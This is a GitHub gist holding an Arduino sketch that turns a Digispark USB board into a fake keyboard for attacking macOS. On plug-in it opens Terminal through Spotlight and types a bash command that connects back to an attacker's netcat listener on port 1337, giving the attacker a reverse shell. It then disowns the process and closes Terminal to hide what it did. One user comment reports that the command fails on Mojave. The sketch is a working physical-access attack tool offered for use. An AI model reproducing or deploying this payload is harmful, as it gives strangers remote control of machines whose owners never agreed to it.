Last active
April 11, 2023 01:14
-
-
Save MattOates/63ea5dc80bf676319ef5063195f7f58b to your computer and use it in GitHub Desktop.
A macOS reverse shell HID hack for use with Digispark USB HID (https://www.aliexpress.com/item/Free-Shipping-CJMCU-Digispark-kickstarter-miniature-for-Arduino-usb-development/32510265413.html)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "DigiKeyboard.h" | |
//Command key is ord 37 and as a modifier 0x00000008 | |
//See NX_DEVICELCMDKEYMASK http://svn.red-bean.com/bob/SDL-altivec/trunk/src/video/quartz/SDL_QuartzEvents.m | |
//For a look at available keys https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h | |
#define MOD_CMD_LEFT 0x00000008 | |
boolean do_hack = true; | |
void setup() { | |
// don't need to set anything up to use DigiKeyboard | |
} | |
void loop() { | |
// this is generally not necessary but with some older systems it seems to | |
// prevent missing the first character after a delay: | |
DigiKeyboard.sendKeyStroke(0); | |
//cmd+space | |
if (do_hack) { | |
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_CMD_LEFT); | |
DigiKeyboard.delay(500); | |
DigiKeyboard.print("terminal"); | |
DigiKeyboard.delay(500); | |
DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
DigiKeyboard.delay(1000); | |
//Ahead of time you want a machine at IPADDRESS listening on port 1337 `nc -l 1337` | |
DigiKeyboard.println("nohup bash -i >& /dev/tcp/IPADDRESS/1337 0>&1 &"); | |
DigiKeyboard.delay(500); | |
DigiKeyboard.println("disown $!"); | |
DigiKeyboard.delay(500); | |
DigiKeyboard.sendKeyStroke(KEY_Q, MOD_CMD_LEFT); | |
DigiKeyboard.delay(500); | |
DigiKeyboard.sendKeyStroke(KEY_ENTER); | |
do_hack = false; | |
} | |
// It's better to use DigiKeyboard.delay() over the regular Arduino delay() | |
// if doing keyboard stuff because it keeps talking to the computer to make | |
// sure the computer knows the keyboard is alive and connected | |
DigiKeyboard.delay(10000); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
no such file or directory: /dev/tcp/192.168.178.111/1337
OS X Mojave